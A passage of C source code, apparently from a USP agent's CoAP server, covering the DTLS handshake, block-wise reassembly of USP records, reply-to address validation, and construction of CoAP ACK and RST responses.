return USP_ERR_INTERNAL_ERROR;
}
// Set the DTLS bio for reading and writing
SSL_set_bio(css->ssl, css->rbio, css->wbio);
// Set timeouts for DTLSv1_listen() and SSL_accept()
timeout.tv_sec = DTLS_READ_TIMEOUT;
timeout.tv_usec = 0;
BIO_ctrl(css->rbio, BIO_CTRL_DGRAM_SET_RECV_TIMEOUT, 0, &timeout);
BIO_ctrl(css->wbio, BIO_CTRL_DGRAM_SET_RECV_TIMEOUT, 0, &timeout);
SSL_set_options(css->ssl, SSL_OP_COOKIE_EXCHANGE);
// Exit if an error occurred when listening to the server socket
// DTLSv1_listen() responds to the 'ClientHello' by sending a 'Hello Verify Request' containing a cookie
// then waits for the peer to sent back the 'Client Hello' with the cookie
result = DTLSv1_listen(css->ssl, (void *) &saddr);
if (result < 0)
{
err = SSL_get_error(css->ssl, result);
USP_LOG_ErrorSSL(__FUNCTION__, "DTLSv1_listen() failed. Resetting CoAP session.", result, err);
return USP_ERR_INTERNAL_ERROR;
}
// Exit if no packet was received (Note: This shouldn't happen as we should have only got here if a packet was ready to read)
if (result == 0)
{
USP_LOG_Warning("%s: DTLSv1_listen() returned 0. Resetting CoAP session", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
// Set the BIO object to the 'connected' state
BIO_ctrl(css->rbio, BIO_CTRL_DGRAM_SET_CONNECTED, 0, &saddr);
BIO_ctrl(css->wbio, BIO_CTRL_DGRAM_SET_CONNECTED, 0, &saddr);
// The following is needed for compatibility with libcoap
// If not set, then the DTLS handshake takes a number of seconds to complete, as our OpenSSL server tries successively smaller MTUs
// Also the maximum MTU size must be set after DTLSv1_listen(), because DTLSv1_listen() resets it
SSL_set_mtu(css->ssl, MAX_COAP_PDU_SIZE);
// Exit if unable to finish the DTLS handshake
// Sends the 'ServerHello' containing server Certificate, client certificate request, and ending in 'ServerHelloDone'
// Then waits for SSL Handshake message and finally sends a NewSessionTicket
// NOTE: This agent must have its own cert (same as STOMP client cert), otherwise SSL_accept complains that there's 'no shared cipher'
result = SSL_accept(css->ssl);
if (result < 0)
{
err = SSL_get_error(css->ssl, result);
USP_LOG_ErrorSSL(__FUNCTION__, "SSL_accept() failed. Resetting CoAP session", result, err);
return USP_ERR_INTERNAL_ERROR;
}
// If we have a certificate chain, then determine which role to allow for controllers on this CoAP connection
if (css->cert_chain != NULL)
{
// Exit if unable to determine the role associated with the trusted root cert that signed the peer cert
err = DEVICE_SECURITY_GetControllerTrust(css->cert_chain, &css->role, &css->allowed_controllers);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: DEVICE_SECURITY_GetControllerTrust() failed. Resetting CoAP session", __FUNCTION__);
return USP_ERR_INTERNAL_ERROR;
}
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** StopCoapSession
**
** This function tears down a CoAP session
**
** \param css - pointer to structure describing coap session
**
** \return None
**
**************************************************************************/
void StopCoapSession(coap_server_session_t *css)
{
pdu_response_t *last_resp;
// Free the USP record that has been received, setting state back, so that we can start receiving a new one
FreeReceivedUspRecord(css);
// Free the last response PDU
last_resp = &css->last_response;
USP_SAFE_FREE(last_resp->pdu_data);
last_resp->pdu_data = NULL;
// Exit if no socket to close
if (css->socket_fd == INVALID)
{
USP_ASSERT(css->ssl==NULL);
USP_ASSERT(css->rbio==NULL);
USP_ASSERT(css->wbio==NULL);
return;
}
// Free the certificate chain and allowed controllers list
if (css->cert_chain != NULL)
{
sk_X509_pop_free(css->cert_chain, X509_free);
css->cert_chain = NULL;
}
USP_SAFE_FREE(css->allowed_controllers);
// Free the SSL object, gracefully shutting down the SSL connection
// NOTE: This also frees the BIO object (if one exists) as it is owned by the SSL object
if (css->ssl != NULL)
{
SSL_shutdown(css->ssl); // NOTE: If the peer has already closed their socket, then this graceful shutdown will result in ICMP destination unreachable
SSL_free(css->ssl);
css->ssl = NULL;
css->rbio = NULL;
css->wbio = NULL;
}
// Close the socket
close(css->socket_fd);
css->socket_fd = INVALID;
}
/*********************************************************************//**
**
** FreeReceivedUspRecord
**
** Frees the USP Record that has been received (or partially received) and sets the block count
** state back to allow reception of a new USP Record
**
** \param css - pointer to structure describing coap session
**
** \return action flags determining what actions to take
**
**************************************************************************/
void FreeReceivedUspRecord(coap_server_session_t *css)
{
// Free any partially received USP Record
if (css->usp_buf != NULL)
{
USP_FREE(css->usp_buf);
css->usp_buf = NULL;
}
css->usp_buf_len = 0;
css->block_count = 0;
css->block_size = 0;
}
/*********************************************************************//**
**
** ReceiveCoapBlock
**
** Reads a CoAP PDU containing part of a USP message, sent from a controller
** This is expected to be a BLOCK or a single CoAP POST message
**
** \param cs - coap server on which to process the received CoAP PDU
** \param css - pointer to structure describing coap session
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
void ReceiveCoapBlock(coap_server_t *cs, coap_server_session_t *css)
{
unsigned char buf[MAX_COAP_PDU_SIZE];
int len;
parsed_pdu_t pp;
unsigned action_flags;
int err;
// Exit if the connection has been closed by the peer
len = COAP_ReceivePdu(css->ssl, css->rbio, css->socket_fd, buf, sizeof(buf));
if (len == -1)
{
if (css->usp_buf_len == 0)
{
USP_PROTOCOL("%s: Connection closed gracefully by peer after it finished sending blocks", __FUNCTION__);
}
else
{
USP_LOG_Error("%s: Connection closed by peer or error. Dropping partially received USP Record (%d bytes)", __FUNCTION__, css->usp_buf_len);
}
StopCoapSession(css);
return;
}
// Exit if there is nothing to read.
// This could be the case for DTLS connections if still in the process of performing DTLS handshake
if (len == 0)
{
return;
}
css->last_block_time = time(NULL);
// Exit if an error occurred whilst parsing the PDU
memset(&pp, 0, sizeof(pp));
pp.message_id = INVALID;
pp.mtp_reply_to.protocol = kMtpProtocol_CoAP;
action_flags = COAP_ParsePdu(buf, len, &pp);
if (action_flags != COAP_NO_ERROR)
{
goto exit;
}
// Determine what actions to take
action_flags = CalcCoapServerActions(cs, css, &pp);
exit:
// Perform the actions set in the action flags
// Check that code does not set contradictory actions to perform in the action flags
USP_ASSERT( (action_flags & (SEND_ACK | SEND_RST)) != (SEND_ACK | SEND_RST) );
USP_ASSERT( ((action_flags & USP_RECORD_COMPLETE) == 0) || ((action_flags & (SEND_RST | INDICATE_ERR_IN_ACK | INDICATE_WELL_KNOWN | RESEND_LAST_RESPONSE | RESET_STATE)) == 0) );
// Send a CoAP RST if required
if (action_flags & SEND_RST)
{
(void)SendCoapRstFromServer(css, &pp); // Intentionlly ignoring error, as we will reset the CoAP server anyway
action_flags |= RESET_STATE;
}
// Resend the last CoAP PDU (ACK or RST) if required
if (action_flags & RESEND_LAST_RESPONSE)
{
err = COAP_SendPdu(css->ssl, css->wbio, css->socket_fd, css->last_response.pdu_data, css->last_response.len);
if (err != USP_ERR_OK)
{
action_flags |= RESET_STATE; // Reset the connection if client disconnected
}
}
// Send a CoAP ACK if required
if (action_flags & SEND_ACK)
{
err = SendCoapAck(css, &pp, action_flags);
if ((err != USP_ERR_OK) || (action_flags & INDICATE_ERR_IN_ACK))
{
USP_LOG_Error("%s: Resetting agent's CoAP server after sending ACK indicating error, or unable to send ACK", __FUNCTION__);
action_flags |= RESET_STATE;
}
}
// Handle a complete USP record being received
if (action_flags & USP_RECORD_COMPLETE)
{
// Log reception of message
char time_buf[MAX_ISO8601_LEN];
char addr_buf[NU_IPADDRSTRLEN];
iso8601_cur_time(time_buf, sizeof(time_buf));
nu_ipaddr_to_str(&css->peer_addr, addr_buf, sizeof(addr_buf));
USP_LOG_Info("Message received at time %s, from host %s over CoAP", time_buf, addr_buf);
// Post complete USP record to the data model thread (as long as the peer address in the 'reply-to' matches that of the received packet)
if (IsReplyToValid(css, &pp))
{
// Create a copy of the reply-to details, modifying coap_host to be the IP literal peer address to send the response back to
// (This is necessary as the peer's reply-to may be a hostname which has both IPv4 and IPv6 DNS records. We want to reply back using the same IP version we received on)
mtp_reply_to_t mtp_reply_to;
memcpy(&mtp_reply_to, &pp.mtp_reply_to, sizeof(mtp_reply_to));
mtp_reply_to.coap_host = addr_buf;
// The USP response message to this request should be sent back on a new DTLS session, if this USP request was received on a new DTLS session
mtp_reply_to.coap_reset_session_hint = css->is_first_usp_msg & cs->enable_encryption;
css->is_first_usp_msg = false;
// Post the USP record for processing
DM_EXEC_PostUspRecord(css->usp_buf, css->usp_buf_len, css->role, css->allowed_controllers, &mtp_reply_to);
FreeReceivedUspRecord(css);
}
}
// Reset state back to waiting for first block of a USP record, if peer sent a RST, or an error occurred when sending an ACK
if (action_flags & RESET_STATE)
{
FreeReceivedUspRecord(css);
}
}
/*********************************************************************//**
**
** CalcCoapServerActions
**
** Determines what actions to take after the CoAP server received a PDU
** NOTE: The caller has already checked that the PDU is from the peer sending messages to us
**
** \param cs - pointer to structure describing coap server to update
** \param css - pointer to structure describing coap session
** \param pp - pointer to structure containing the parsed CoAP PDU
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned CalcCoapServerActions(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned action_flags;
// Exit if we've already received this PDU before. Resend the response, because the original response might have gone missing
// NOTE: This could happen under normal circumstances, so isn't an error
if (pp->message_id == css->last_response.message_id)
{
USP_PROTOCOL("%s: Already received CoAP PDU (MID=%d) (Resending response)", __FUNCTION__, pp->message_id);
return RESEND_LAST_RESPONSE;
}
// Exit if we received a RST
if (pp->pdu_type == kPduType_Reset)
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) was a RST (pdu_type=%d)", __FUNCTION__, pp->message_id, pp->pdu_type);
return RESET_STATE;
}
// Exit if our server received an ACK or a 'Non-Confirmable'
if ((pp->pdu_type == kPduType_Acknowledgement) || (pp->pdu_type == kPduType_NonConfirmable))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) was not of the expected type (pdu_type=%d)", __FUNCTION__, pp->message_id, pp->pdu_type);
return SEND_RST; // Send RST for unhandled non-confirmable messages (RFC7252 section 4.3, page 23)
}
// If the code gets here, then a 'Confirmable' PDU was received
USP_ASSERT(pp->pdu_type == kPduType_Confirmable);
// Exit if CoAP PDU wasn't of expected class
if (pp->pdu_class != kPduClass_Request)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) was not of the expected class (pdu_class=%d)", __FUNCTION__, pp->message_id, pp->pdu_class);
return SEND_RST;
}
// Exit if CoAP PDU was the special case of resource discovery using a GET of '.well-known/core'
if ((pp->request_response_code == kPduRequestMethod_Get) && (strcmp(pp->uri_path, ".well-known/core")==0))
{
COAP_SetErrMessage("</%s>;if=\"bbf.usp.a\";rt=\"bbf.usp.endpoint\";title=\"USP Agent\";ct=42", cs->listen_resource);
return SEND_ACK | INDICATE_WELL_KNOWN;
}
// Exit if CoAP PDU wasn't of expected method
if (pp->request_response_code != kPduRequestMethod_Post)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) was not of the expected method (pdu_method=%d)", __FUNCTION__, pp->message_id, pp->request_response_code);
return SEND_ACK | INDICATE_BAD_METHOD;
}
// Handle the block, updating state and determining what to do at the end of this function
if (css->block_count == 0)
{
action_flags = HandleFirstCoapBlock(cs, css, pp);
}
else
{
action_flags = HandleSubsequentCoapBlock(cs, css, pp);
}
return action_flags;
}
/*********************************************************************//**
**
** HandleFirstCoapBlock
**
** Handles the first block received of a USP record
**
** \param cs - pointer to CoAP server which received the payload we're appending
** \param css - pointer to structure describing coap session
** \param pp - pointer to parsed CoAP PDU
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned HandleFirstCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned action_flags = SEND_ACK | USP_RECORD_COMPLETE; // Assume there is no block option, or no more blocks
unsigned temp_flags;
// Exit if content format is incorrect for USP
if ((pp->options_present & CONTENT_FORMAT_PRESENT) && (pp->content_format != kPduContentFormat_OctetStream))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has unexpected content format for USP (content_format=%d)", __FUNCTION__, pp->message_id, pp->content_format);
return SEND_ACK | INDICATE_BAD_CONTENT;
}
// Exit if no URI path was specified, or the path did not match our USP resource
if ( ((pp->options_present & URI_PATH_PRESENT) == 0) || (strcmp(pp->uri_path, cs->listen_resource) != 0) )
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has incorrect URI path for USP (uri_path=%s)", __FUNCTION__, pp->message_id, pp->uri_path);
return SEND_ACK | INDICATE_NOT_FOUND;
}
// Exit if the URI query option is not present
if ((pp->options_present & URI_QUERY_PRESENT) == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) does not contain URI query option", __FUNCTION__, pp->message_id);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if the total size of the USP record being sent is too large for us to accept
if ((pp->options_present & SIZE1_PRESENT) && (pp->total_size > MAX_USP_MSG_LEN))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) indicates total USP record size is too large (total_size=%u)", __FUNCTION__, pp->message_id, pp->total_size);
return SEND_ACK | INDICATE_TOO_LARGE;
}
// Copy the token
// NOTE: Tokens only need to be present if the Block option is present
memcpy(css->token, pp->token, pp->token_size);
css->token_size = pp->token_size;
// Handle the block option, if present
if (pp->options_present & BLOCK1_PRESENT)
{
// Exit if the first block we've received isn't block 0
if (pp->rxed_block != 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has unexpected block number (block=%d)", __FUNCTION__, pp->message_id, pp->rxed_block);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Exit if no token specified
if (pp->token_size == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has BLOCK1, but no token", __FUNCTION__, pp->message_id);
return SEND_RST;
}
// Exit if the payload is not the same size as that indicated by the block option (if this is the first of many blocks)
if ((pp->is_more_blocks == 1) && (pp->payload_len != pp->block_size))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has mismatching payload_len=%d and block_size=%d", __FUNCTION__, pp->message_id, pp->payload_len, pp->block_size);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Store state for subsequent blocks
css->block_size = pp->block_size;
css->block_count = 0; // Reset the block count, it will be incremented by AppendCoapPayload
// If there are more blocks, then the USP record is not complete yet
if (pp->is_more_blocks == 1)
{
action_flags &= (~USP_RECORD_COMPLETE);
}
}
// Copy this block to the end of the USP record buffer
temp_flags = AppendCoapPayload(css, pp);
if (temp_flags != COAP_NO_ERROR)
{
return temp_flags;
}
LogRxedCoapPdu(pp);
return action_flags;
}
/*********************************************************************//**
**
** HandleSubsequentCoapBlock
**
** Handles the second and subsequent blocks received of a USP record
**
** \param cs - pointer to CoAP server which received the payload we're appending
** \param css - pointer to structure describing coap session
** \param pp - pointer to parsed CoAP PDU
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned HandleSubsequentCoapBlock(coap_server_t *cs, coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned action_flags = SEND_ACK | USP_RECORD_COMPLETE; // Assume there is no block option, or no more blocks
unsigned temp_flags;
// Exit if the token doesn't match that of the first block
if ((pp->token_size != css->token_size) || (memcmp(pp->token, css->token, css->token_size) != 0))
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) has different token from first block. Treating this as a new USP Record.", __FUNCTION__, pp->message_id);
action_flags = HandleFirstCoapBlock(cs, css, pp);
return action_flags;
}
// Exit if content format is incorrect for USP
if ((pp->options_present & CONTENT_FORMAT_PRESENT) && (pp->content_format != kPduContentFormat_OctetStream))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has unexpected content format for USP (content_format=%d)", __FUNCTION__, pp->message_id, pp->content_format);
return SEND_ACK | INDICATE_BAD_CONTENT;
}
// Exit if a URI path was specified and did not match our USP resource
if ( (pp->options_present & URI_PATH_PRESENT) && (strcmp(pp->uri_path, cs->listen_resource) != 0) )
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has incorrect URI path for USP (uri_path=%s)", __FUNCTION__, pp->message_id, pp->uri_path);
return SEND_ACK | INDICATE_NOT_FOUND;
}
// Exit if the URI query option is not present
if ((pp->options_present & URI_QUERY_PRESENT) == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) does not contain URI query option", __FUNCTION__, pp->message_id);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if a block option is not present but was previously
if ((pp->options_present & BLOCK1_PRESENT) == 0)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) is a subsequent block, but no Block1 option", __FUNCTION__, pp->message_id);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if the payload is larger than that indicated by the block option
if (pp->payload_len > pp->block_size)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has payload_len=%d larger than block_size=%d", __FUNCTION__, pp->message_id, pp->payload_len, pp->block_size);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if this is not the last block and the payload is not the same size as that indicated by the block option
if ((pp->is_more_blocks == 1) && (pp->payload_len != pp->block_size))
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has mismatching payload_len=%d and block_size=%d", __FUNCTION__, pp->message_id, pp->payload_len, pp->block_size);
return SEND_ACK | INDICATE_BAD_REQUEST;
}
// Exit if sender is trying to increase the block size that they send to us
if (pp->block_size > css->block_size)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has dynamically changed larger block size (block_size=%d, previously=%d)", __FUNCTION__, pp->message_id, pp->block_size, css->block_size);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Deal with the case of the sender trying to decrease the block size that they send to us
if (pp->block_size != css->block_size)
{
// Calculate the new count of number of blocks we've received, based on the new block size
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) has dynamically changed block size (block_size=%d, previously=%d)", __FUNCTION__, pp->message_id, pp->block_size, css->block_size);
css->block_size = pp->block_size;
}
// Exit if this block is an earlier block that we've already received
// NOTE: This could happen in practice, so just acknowledge this block, but do nothing with it
if (pp->rxed_block < css->block_count)
{
USP_PROTOCOL("%s: Received CoAP PDU (MID=%d) has earlier block number than expected (block=%d, expected=%d)", __FUNCTION__, pp->message_id, pp->rxed_block, css->block_count);
return SEND_ACK;
}
// Exit if the number of this block is later than we're expecting
// NOTE: This should never happen, because the client should not send the next block until we've acknowledged the current
if (pp->rxed_block > css->block_count)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) has later block number than expected (block=%d, expected=%d)", __FUNCTION__, pp->message_id, pp->rxed_block, css->block_count);
return SEND_ACK | INDICATE_INCOMPLETE;
}
// Copy this block to the end of the USP record buffer
temp_flags = AppendCoapPayload(css, pp);
if (temp_flags != COAP_NO_ERROR)
{
return temp_flags;
}
LogRxedCoapPdu(pp);
// If there are more blocks, then the USP record is not complete yet
if (pp->is_more_blocks == 1)
{
action_flags &= (~USP_RECORD_COMPLETE);
}
return action_flags;
}
/*********************************************************************//**
**
** AppendCoapPayload
**
** Appends the specified payload to the buffer in which we are building up the received USP record
**
** \param cs - pointer to CoAP session which received the payload we're appending
** \param pp - pointer to structure in which the parsed CoAP PDU is stored
**
** \return action flags determining what actions to take
**
**************************************************************************/
unsigned AppendCoapPayload(coap_server_session_t *css, parsed_pdu_t *pp)
{
int new_len;
// Exit if the new size is greater than we allow
new_len = css->usp_buf_len + pp->payload_len;
if (new_len > MAX_USP_MSG_LEN)
{
COAP_SetErrMessage("%s: Received CoAP PDU (MID=%d) makes received USP record size too large (total_size=%u)", __FUNCTION__, pp->message_id, new_len);
return SEND_ACK | INDICATE_TOO_LARGE;
}
// Increase the size of the USP record buffer
css->usp_buf = USP_REALLOC(css->usp_buf, new_len);
// Append the payload to the end of the USP record buffer
memcpy(&css->usp_buf[css->usp_buf_len], pp->payload, pp->payload_len);
css->usp_buf_len = new_len;
css->block_count++;
return COAP_NO_ERROR;
}
/*********************************************************************//**
**
** IsReplyToValid
**
** Validates that the host in the URI query Option's 'reply-to' matches the
** IP address of the USP controller that sent the message (containing the 'reply-to')
** This is necessary to prevent an errant USP controller using an Agent to perform a DoS attack
**
** \param css - pointer to CoAP session which received the payload we're appending
** \param pp - pointer to parsed CoAP PDU
**
** \return true if the host in the 'reply-to' is valid
**
**************************************************************************/
bool IsReplyToValid(coap_server_session_t *css, parsed_pdu_t *pp)
{
int err;
nu_ipaddr_t reply_addr;
nu_ipaddr_t interface_addr;
bool prefer_ipv6;
char buf[NU_IPADDRSTRLEN];
char host[MAX_COAP_URI_QUERY];
// Percent decode the received host name
USP_STRNCPY(host, pp->mtp_reply_to.coap_host, sizeof(host));
TEXT_UTILS_PercentDecodeString(host);
// Attempt to interpret the host as an IP literal address (ie no DNS lookup required)
err = nu_ipaddr_from_str(host, &reply_addr);
// If this fails, then assume that host is a DNS hostname
if (err != USP_ERR_OK)
{
// Get the preference for IPv4 or IPv6, if dual stack
prefer_ipv6 = DEVICE_LOCAL_AGENT_GetDualStackPreference();
// Determine address of interface that the packet was received on
// We want to lookup a hostname on the same IPv4 or IPv6 protocol
// NOTE: We lookup css->peer_addr, rather than use cs->listen_addr directly, because we might be listening on "any"
// (in which case listen_addr does not contain the IP address of the interface which received the packet)
err = nu_ipaddr_get_interface_addr_from_dest_addr(&css->peer_addr, &interface_addr);
if (err != USP_ERR_OK)
{
return false;
}
// Exit if unable to lookup hostname
err = tw_ulib_diags_lookup_host(host, AF_UNSPEC, prefer_ipv6, &interface_addr, &reply_addr);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Ignoring USP message. Unable to lookup Host address in URI Query option (%s)", __FUNCTION__, host);
return false;
}
}
// Exit if the address given in the reply-to does not match the address of the USP controller
// that sent the message containing the reply-to
if (memcmp(&reply_addr, &css->peer_addr, sizeof(nu_ipaddr_t)) != 0)
{
USP_LOG_Error("%s: Ignoring USP message. Host address in URI Query option (%s) does not match sender (%s)", __FUNCTION__, host, nu_ipaddr_str(&css->peer_addr, buf, sizeof(buf)) );
return false;
}
// If the code gets here, then the host specified in the reply-to matches that expected
return true;
}
/*********************************************************************//**
**
** SendCoapRstFromServer
**
** Sends a CoAP RST from our CoAP server
**
** \param css - pointer to structure describing the CoAP session which is sending this RST
** \param pp - pointer to structure containing parsed input PDU, that this ACK is responding to
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int SendCoapRstFromServer(coap_server_session_t *css, parsed_pdu_t *pp)
{
unsigned char buf[MAX_COAP_PDU_SIZE];
int len;
int err;
// Exit if unable to create the CoAP PDU to send
// NOTE: CoAP servers always echo the message_id of the received PDU
len = COAP_WriteRst(pp->message_id, pp->token, pp->token_size, buf, sizeof(buf));
USP_ASSERT(len != 0);
// Exit if unable to send the CoAP RST packet
err = COAP_SendPdu(css->ssl, css->wbio, css->socket_fd, buf, len);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Failed to send RST", __FUNCTION__);
return err;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** SendCoapAck
**
** Creates and sends a CoAP ACK message to the specified Coap endpoint
**
** \param css - pointer to CoAP server session which received the message we are acknowledging
** \param pp - pointer to structure containing block option to include in ACK
** \param action_flags - Determines whether an error is returned in the ACK
**
** \return USP_ERR_OK if successful
**
**************************************************************************/
int SendCoapAck(coap_server_session_t *css, parsed_pdu_t *pp, unsigned action_flags)
{
unsigned char buf[MAX_COAP_PDU_SIZE];
int len;
int err;
// Create an ACK, to respond to the packet
len = WriteCoapAck(buf, sizeof(buf), pp, action_flags);
USP_ASSERT(len != 0);
// Save this response, so that we can send it again, if we receive the same message_id again
SaveLastResponsePdu(&css->last_response, pp->message_id, buf, len);
// Exit if unable to send the CoAP ACK packet
err = COAP_SendPdu(css->ssl, css->wbio, css->socket_fd, buf, len);
if (err != USP_ERR_OK)
{
USP_LOG_Error("%s: Failed to send ACK", __FUNCTION__);
return err;
}
return USP_ERR_OK;
}
/*********************************************************************//**
**
** WriteCoapAck
**
** Writes a CoAP PDU containing an ACK
**
** \param buf - pointer to buffer in which to write the CoAP PDU
** \param len - length of buffer in which to write the CoAP PDU
** \param pp - pointer to structure containing parsed input PDU, that this ACK is responding to
** \param action_flags - Determines whether an error is returned in the ACK
**
** \return Number of bytes written to the CoAP PDU buffer
**
**************************************************************************/
int WriteCoapAck(unsigned char *buf, int len, parsed_pdu_t *pp, unsigned action_flags)
{
unsigned header = 0;
unsigned char *p;
unsigned char option_buf[4];
int option_len;
pdu_option_t last_option;
int pdu_class;
int response_code;
int preferred_block_size;
// Determine the class and response code to put in this PDU
CalcCoapClassForAck(pp, action_flags, &pdu_class, &response_code);
// Calculate the header bytes
// NOTE: We use the parsed message_id, since we need to send the ACK based on the PDU we received rather than that which we expected to receive
MODIFY_BITS(31, 30, header, COAP_VERSION);
MODIFY_BITS(29, 28, header, kPduType_Acknowledgement);
MODIFY_BITS(27, 24, header, pp->token_size);
MODIFY_BITS(23, 21, header, pdu_class);
MODIFY_BITS(20, 16, header, response_code);
MODIFY_BITS(15, 0, header, pp->message_id);
// Write the CoAP header bytes and token into the output buffer
// NOTE: We use the parsed token, since we need to send the ACK based on the PDU we received rather than that which we expected to receive
p = buf;
WRITE_4_BYTES(p, header);
memcpy(p, pp->token, pp->token_size);
p += pp->token_size;
last_option = kPduOption_Zero;
// Exit if an error or resource discovery response needs to be sent
if (action_flags & (INDICATE_ERR_IN_ACK | INDICATE_WELL_KNOWN))
{
if (action_flags & INDICATE_WELL_KNOWN)
{
option_buf[0] = kPduContentFormat_LinkFormat;
p = COAP_WriteOption(kPduOption_ContentFormat, option_buf, 1, p, &last_option);
}
WRITE_BYTE(p, PDU_OPTION_END_MARKER);
// Copy the textual reason for failure into the payload of the ACK
len = strlen(COAP_GetErrMessage());
memcpy(p, COAP_GetErrMessage(), len);
p += len;
goto exit;
}
// Add the block option, if it was present in the PDU we're acknowledging, and we want the next block
// NOTE: Do not put the block option in the ACK unless you want another block to be sent (ie It is not present in the last ACK of a sequence of blocks)
if ((pp->options_present & BLOCK1_PRESENT) && (pp->is_more_blocks))
{
preferred_block_size = MIN(COAP_CLIENT_PAYLOAD_RX_SIZE, pp->block_size);
option_len = COAP_CalcBlockOption(option_buf, pp->rxed_block, pp->is_more_blocks, preferred_block_size);
p = COAP_WriteOption(kPduOption_Block1, option_buf, option_len, p, &last_option);
}
// Add the size option (to indicate to the sender the maximum size of USP record we accept)
if (action_flags & INDICATE_TOO_LARGE)
{
STORE_4_BYTES(option_buf, MAX_USP_MSG_LEN);
p = COAP_WriteOption(kPduOption_Size1, option_buf, 4, p, &last_option);
}
// NOTE: Not adding an end of options marker, because no payload follows
exit:
// Log what will be sent
if (pp->options_present & BLOCK1_PRESENT)
{
char *last_block_str = (pp->is_more_blocks == 0) ? " (last)" : "";
USP_PROTOCOL("%s: Sending CoAP ACK (MID=%d) for block=%d%s. Response code=%d.%02d", __FUNCTION__, pp->message_id, pp->rxed_block, last_block_str, pdu_class, response_code);
}
else
{
USP_PROTOCOL("%s: Sending CoAP ACK (MID=%d). Response code=%d.%02d", __FUNCTION__, pp->message_id, pdu_class, response_code);
}
// Return the number of bytes written to the output buffer
return p - buf;
}
/*********************************************************************//**
**
** CalcCoapClassForAck
**
** Calculate the class and response code for the CoAP header of the ACK message
**
** \param pp - pointer to structure containing parsed input PDU, that this ACK is responding to
** \param action_flags - Determines whether an error is returned in the ACK
** \param pdu_class - pointer to variable in which to return the class to put in the ACK
** \param response_code - pointer to variable in which to return the response code to put in the ACK
**
** \return Nothing
**
**************************************************************************/
void CalcCoapClassForAck(parsed_pdu_t *pp, unsigned action_flags, int *pdu_class, int *response_code)
{
// Determine class of the ACK message
if (action_flags & INDICATE_ERR_IN_ACK)
{
*pdu_class = kPduClass_ClientErrorResponse;
}
else
{
*pdu_class = kPduClass_SuccessResponse;
}
// Determine response code of the ACK message
if (action_flags & INDICATE_BAD_REQUEST)
{
*response_code = kPduClientErrRespCode_BadRequest;
}
else if (action_flags & INDICATE_BAD_OPTION)
{
*response_code = kPduClientErrRespCode_BadOption;
}
else if (action_flags & INDICATE_NOT_FOUND)
{
*response_code = kPduClientErrRespCode_NotFound;
}
else if (action_flags & INDICATE_BAD_METHOD)
{
*response_code = kPduClientErrRespCode_MethodNotAllowed;
}
else if (action_flags & INDICATE_INCOMPLETE)
{
*response_code = kPduClientErrRespCode_RequestEntityIncomplete;
}
else if (action_flags & INDICATE_TOO_LARGE)
{
*response_code = kPduClientErrRespCode_RequestEntityTooLarge;
}
else if (action_flags & INDICATE_BAD_CONTENT)
{
*response_code = kPduClientErrRespCode_UnsupportedContentFormat;
}
else if (action_flags & INDICATE_WELL_KNOWN)
{
*response_code = kPduSuccessRespCode_Content;
}
else if (action_flags & USP_RECORD_COMPLETE)
{
*response_code = kPduSuccessRespCode_Changed;
}
else if (pp->options_present & BLOCK1_PRESENT)
{
*response_code = kPduSuccessRespCode_Continue;
}
else
{
// For non USP record packets
*response_code = kPduSuccessRespCode_Content;
}
}
/*********************************************************************//**
**
** SaveLastResponsePdu
**
** Saves the response PDU being sent out for the specified message_id
**
** \param last_resp - pointer to structure containing the last response
** \param message_id - message_id of the message that this is the response to
** \param buf - pointer to buffer containing the response PDU
** \param len - length of buffer containing the response PDU
**
** \return None
**
**************************************************************************/
void SaveLastResponsePdu(pdu_response_t *last_resp, int message_id, unsigned char *buf, int len)
{
// Free the last PDU
USP_SAFE_FREE(last_resp->pdu_data);
// Before replacing it with this new one
last_resp->pdu_data = USP_MALLOC(len);
memcpy(last_resp->pdu_data, buf, len);
last_resp->message_id = message_id;
last_resp->len = len;
}
/*********************************************************************//**
**
** FindUnusedCoapServer
**
** Finds an unused CoAP server slot
**
** \param None
**
** \return pointer to free CoAP server, or NULL if none found
**
**************************************************************************/
coap_server_t *FindUnusedCoapServer(void)
{
int i;
coap_server_t *cs;
